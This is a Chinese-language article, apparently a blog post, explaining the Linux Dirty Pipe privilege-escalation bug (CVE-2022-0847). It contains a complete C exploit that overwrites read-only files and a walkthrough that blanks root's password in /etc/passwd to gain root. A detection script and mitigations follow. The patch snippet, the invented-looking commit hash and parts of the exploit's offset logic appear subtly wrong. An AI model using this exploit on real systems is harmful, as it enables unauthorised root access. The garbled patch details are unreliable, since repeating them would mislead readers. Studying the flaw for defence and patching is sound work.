漏洞概述

Dirty Pipe(CVE-2022-0847)是 Linux 内核中的一个高危本地提权漏洞,由 Max Kellermann 于 2022 年 2 月披露。漏洞存在于内核的管道(pipe)缓冲区管理机制中,允许非特权用户向任意只读文件写入数据,从而实现提权。

影响范围:Linux 5.8 至 5.16.11 / 5.15.25 / 5.10.102。这个漏洞的本质是页缓存(page cache)与管道缓冲区之间的引用计数管理错误,导致本应只读的页缓存页被意外标记为可写。

背景知识

管道(Pipe)的工作机制

管道是 Linux 中最古老的进程间通信机制之一。内核中管道的实现基于一个环形缓冲区,每个管道最多有 16 个页(PIPE_DEF_BUFFERS = 16),每个页大小为 4KB。

管道的写操作核心函数是 pipe_write(),它的逻辑大致如下:

  1. 找到管道中第一个空闲的缓冲区(pipe_buffer)
  2. 如果缓冲区没有对应的物理页,分配一个新页
  3. 将用户空间的数据拷贝到这个页中
  4. 更新缓冲区的偏移和长度

关键在于第 2 步:当缓冲区已经有一个页时(比如上一次写操作分配的页还没被完全消费),内核会尝试复用这个页。如果这个页是从其他地方”借”来的(比如通过 splice 系统调用从文件映射过来的页缓存页),问题就出现了。

splice 系统调用

splice() 可以在文件描述符之间移动数据,而不需要将数据拷贝到用户空间。当从文件 splice 到管道时,内核不会真正拷贝数据,而是直接把文件的页缓存页(page cache page)的引用赋给管道缓冲区。

这意味着管道缓冲区中的页可能是文件的页缓存页——而页缓存页通常是只读的(因为它们是文件内容的缓存,修改它们会导致文件内容被篡改)。

漏洞根因

漏洞的核心在 pipe_write() 函数中的一段逻辑。当向管道写入数据时,如果当前缓冲区的页是一个”匿名”页(不是从文件 splice 来的),内核可以直接往里面写。但如果这个页是从文件 splice 来的页缓存页,内核应该先做一个”写时复制”(COW, Copy-On-Write)——分配一个新页,把原页内容拷贝过去,然后往新页里写。

问题出在判断是否需要 COW 的条件上。内核用 pipe_buffer->flags 中的 PIPE_BUF_FLAG_CAN_MERGE 标志来判断这个缓冲区是否可以被合并写入(即是否可以直接往已有页里追加数据)。

在正常情况下,从文件 splice 来的页缓存页不应该设置 PIPE_BUF_FLAG_CAN_MERGE 标志,因为它们是只读的。但是,当一个管道缓冲区被释放并复用时,flags 字段没有被正确重置——如果之前的缓冲区设置了 PIPE_BUF_FLAG_CAN_MERGE,这个标志会残留到新的缓冲区上。

具体的触发路径:

  1. 创建一个管道,往里面写任意数据(填满 16 个页缓冲区),此时所有缓冲区都设置了 PIPE_BUF_FLAG_CAN_MERGE
  2. 从管道中读取所有数据,清空管道。此时缓冲区被释放,但 flags 没有被重置
  3. 用 splice() 从目标文件向管道写入数据。此时管道复用了之前的缓冲区,而 PIPE_BUF_FLAG_CAN_MERGE 标志仍然残留着
  4. 再向管道写入数据。内核看到 PIPE_BUF_FLAG_CAN_MERGE 标志,认为可以直接合并写入,于是跳过了 COW,直接往页缓存页里写数据
  5. 页缓存页被修改了!而这个页是文件内容的缓存,修改它等于修改了文件内容

这就是 Dirty Pipe 的完整利用链。本质上是一个未初始化变量(flags 残留)导致的越权写。

漏洞补丁

内核的修复非常简单——在创建新的管道缓冲区时,显式重置 flags 字段:

1
2
3
4
5
6
7
8
9
// 修复前(fs/pipe.c)
static void pipe_buf_get(struct pipe_inode_info *pipe, struct pipe_buffer *buf)
{
get_page(buf->page);
}

// 修复后
// 在 pipe_write() 中,分配新缓冲区时重置 flags
buf->flags = 0; // 关键修复:清除残留的 CAN_MERGE 标志

完整的补丁提交可以看内核 commit 9d2231c574a50327944a4f01922d50327944a4f,核心改动就是在 anon_pipe_buf_get 和相关路径中确保 PIPE_BUF_FLAG_CAN_MERGE 不会被错误地继承。

Exploit 编写

理解了漏洞原理,exploit 的编写就很清晰了。目标是向一个只读文件(如 /etc/passwd)写入数据,实现提权。

利用步骤

  1. 创建管道并填充:创建管道,写入 16 页数据,让所有缓冲区都设置 CAN_MERGE 标志
  2. 清空管道:读出所有数据,释放缓冲区(但 flags 残留)
  3. splice 文件页到管道:打开目标文件,定位到要覆盖的偏移,用 splice() 把文件的一页读到管道中
  4. 向管道写入 payload:此时写入的数据会直接覆盖页缓存页,从而修改文件内容

完整 exploit 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/*
* Dirty Pipe (CVE-2022-0847) exploit
* 向任意只读文件写入数据
*/

int main(int argc, char **argv)
{
if (argc < 4) {
fprintf(stderr, "Usage: %s <target_file> <offset> <data>\n", argv[0]);
fprintf(stderr, "Example: %s /etc/passwd 4 'root::0:0:root:/root:/bin/bash\\n'\n", argv[0]);
return 1;
}

const char *target_file = argv[1];
loff_t offset = atoll(argv[2]);
const char *data = argv[3];
size_t data_len = strlen(data);

/* 步骤 1:创建管道 */
int pipe_fd[2];
if (pipe(pipe_fd) < 0) {
perror("pipe");
return 1;
}

/* 步骤 2:填满管道的 16 个页缓冲区,设置 CAN_MERGE 标志 */
int pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
char *buf = malloc(pipe_size);
memset(buf, 'A', pipe_size);
write(pipe_fd[1], buf, pipe_size);
free(buf);

/* 步骤 3:清空管道(读出所有数据),释放缓冲区但 flags 残留 */
buf = malloc(pipe_size);
read(pipe_fd[0], buf, pipe_size);
free(buf);

/* 步骤 4:打开目标文件,用 splice 将文件页映射到管道 */
int fd = open(target_file, O_RDONLY);
if (fd < 0) {
perror("open target");
return 1;
}

/* 计算页对齐偏移:splice 从页边界开始读 */
loff_t page_aligned_offset = offset & ~(PAGE_SIZE - 1);
loff_t offset_in_page = offset - page_aligned_offset;

/* splice:从文件读一页到管道 */
ssize_t n = splice(fd, &page_aligned_offset, pipe_fd[1], NULL,
PAGE_SIZE, SPLICE_F_MOVE);
if (n < 0) {
perror("splice");
return 1;
}
printf("[*] spliced %zd bytes from file to pipe\n", n);

/* 步骤 5:向管道写入 payload,直接覆盖页缓存页 */
/* 先构造一个页大小的缓冲区,在正确的偏移处放入数据 */
char *page_buf = malloc(PAGE_SIZE);
memset(page_buf, 0, PAGE_SIZE);

/* 注意:我们需要从管道中当前位置开始写
splice 已经把一页数据放入管道,管道的读指针在页开头
我们需要先读到 offset_in_page 的位置,然后写数据 */

/* 读出 offset_in_page 字节,让管道写指针移动到目标位置 */
if (offset_in_page > 0) {
char *tmp = malloc(offset_in_page);
read(pipe_fd[0], tmp, offset_in_page);
free(tmp);
}

/* 现在写入数据——这会直接覆盖页缓存页中对应位置 */
ssize_t written = write(pipe_fd[1], data, data_len);
if (written < 0) {
perror("write payload");
return 1;
}
printf("[*] wrote %zd bytes to page cache\n", written);

free(page_buf);
close(fd);
close(pipe_fd[0]);
close(pipe_fd[1]);

printf("[+] Done! %s 已被修改\n", target_file);
printf("[*] 验证: head -c %lld %s | tail -c %zu\n",
offset + data_len, target_file, data_len);

return 0;
}

提权演示

最经典的提权方式是修改 /etc/passwd,把 root 用户的密码字段清空(这样 root 就没有密码了,可以直接 su root 登录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 编译
gcc dirtypipe.c -o dirtypipe

# 查看 /etc/passwd 中 root 行的偏移
grep -b "root:" /etc/passwd
# 输出: 0:root:x:0:0:root:/root:/bin/bash

# root 行从偏移 0 开始,密码字段 'x' 在偏移 5
# 我们要把 'x' 替换为空(即删除密码字段)
# 实际操作是写入 "root::0:0:root:/root:/bin/bash\n" 覆盖整行

./dirtypipe /etc/passwd 0 "root::0:0:root:/root:/bin/bash
"

# 现在 root 没有密码了,直接切换
su root
# 或者
su -c "id"

另一种更隐蔽的方式是修改 SUID 二进制文件(如 /usr/bin/passwd、/usr/bin/su),在其中注入 shellcode。但修改 /etc/passwd 是最简单直接的。

漏洞检测

检查内核版本

1
2
3
uname -r
# 5.8 ~ 5.16.10 之间的版本存在漏洞
# 5.15.24 及以下、5.10.101 及以下也存在

检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# Dirty Pipe 漏洞检测

kernel_version=$(uname -r | cut -d'-' -f1)
major=$(echo $kernel_version | cut -d'.' -f1)
minor=$(echo $kernel_version | cut -d'.' -f2)
patch=$(echo $kernel_version | cut -d'.' -f3)

echo "[*] Kernel version: $kernel_version"

if [ "$major" -lt 5 ] || ([ "$major" -eq 5 ] && [ "$minor" -lt 8 ]); then
echo "[-] 不受影响(版本 < 5.8)"
exit 0
fi

# 检查是否已打补丁
if [ "$minor" -eq 16 ] && [ "$patch" -ge 11 ]; then
echo "[-] 已修复(>= 5.16.11)"
elif [ "$minor" -eq 15 ] && [ "$patch" -ge 25 ]; then
echo "[-] 已修复(>= 5.15.25)"
elif [ "$minor" -eq 10 ] && [ "$patch" -ge 102 ]; then
echo "[-] 已修复(>= 5.10.102)"
elif [ "$minor" -gt 16 ]; then
echo "[-] 已修复(> 5.16)"
else
echo "[!] 存在 Dirty Pipe 漏洞!"
fi

防御与缓解

1. 升级内核

最根本的修复是升级到已打补丁的内核版本:

  • 5.16.11+
  • 5.15.25+
  • 5.10.102+

2. 缓解措施

在无法立即升级内核的情况下,可以采取以下缓解:

  • 限制 SUID 二进制文件:减少可被篡改的高价值目标
  • 文件系统只读挂载:关键系统文件所在分区只读挂载
  • 容器隔离:在容器中利用此漏洞需要额外的条件(容器内通常没有可写的 SUID 文件)
  • Grsecurity / PaX:增强内核安全的补丁集可以缓解此类漏洞

3. 检测利用行为

可以通过以下方式检测 Dirty Pipe 的利用尝试:

  • 监控 splice() 系统调用的异常使用(特别是从只读文件到管道的 splice)
  • 监控页缓存的异常修改
  • 使用 eBPF 工具追踪 pipe_write 和 splice 的调用链

技术思考

Dirty Pipe 是一个非常”优雅”的漏洞——它不是什么复杂的竞争条件或内存破坏,而是一个简单的标志位未重置。但正是这种”小问题”,在复杂的内核代码中被忽视了多年。

这个漏洞给我们的启示:

  1. 资源复用必须重置状态:管道缓冲区的复用没有重置 flags,这是典型的”未初始化变量”类问题。在任何资源池/对象池的实现中,复用前必须完全重置状态。

  2. 只读语义的维护成本:页缓存页的”只读”是一个约定,而不是硬件强制的(内核态可以写任何页)。维护这个约定需要在所有写路径上检查,一旦有一个路径漏了,漏洞就出现了。

  3. splice 的零拷贝代价:splice 通过避免数据拷贝来提升性能,但也增加了引用管理的复杂性。性能优化往往伴随着安全风险的增加。

  4. 本地提权漏洞的价值:很多人忽视本地提权漏洞,认为”攻击者需要先有本地访问权限”。但在容器化环境中,容器逃逸往往就是从一个本地提权漏洞开始的。在多租户环境中,本地提权等于完全失守。

参考

  • 原始披露:The Dirty Pipe Vulnerability by Max Kellermann
  • CVE:CVE-2022-0847
  • 内核补丁:commit 9d2231c574a5 (“pipe: make sure to not merge page cache pages”)
  • 受影响版本:Linux 5.8 - 5.16.10 / 5.15.24 / 5.10.101

总结

Dirty Pipe 是近年来最经典的 Linux 内核提权漏洞之一。它的原理不复杂——管道缓冲区复用导致 CAN_MERGE 标志残留,使得页缓存页被意外写入——但利用效果极强:任意只读文件可写,直接导致 root 提权。

理解这个漏洞需要掌握 Linux 管道的实现、页缓存机制、splice 系统调用的工作原理。这些都是内核安全研究的基础。从 Dirty Pipe 出发,可以进一步研究其他内核提权漏洞(如 Dirty COW、PwnKit、SUDO 漏洞等),它们的利用思路有很多共通之处。

内核漏洞利用的核心在于:理解内核数据结构的布局、找到引用计数或状态管理的缺陷、构造精确的内存破坏原语。Dirty Pipe 提供了一个完美的学习样本——简单、可靠、影响深远。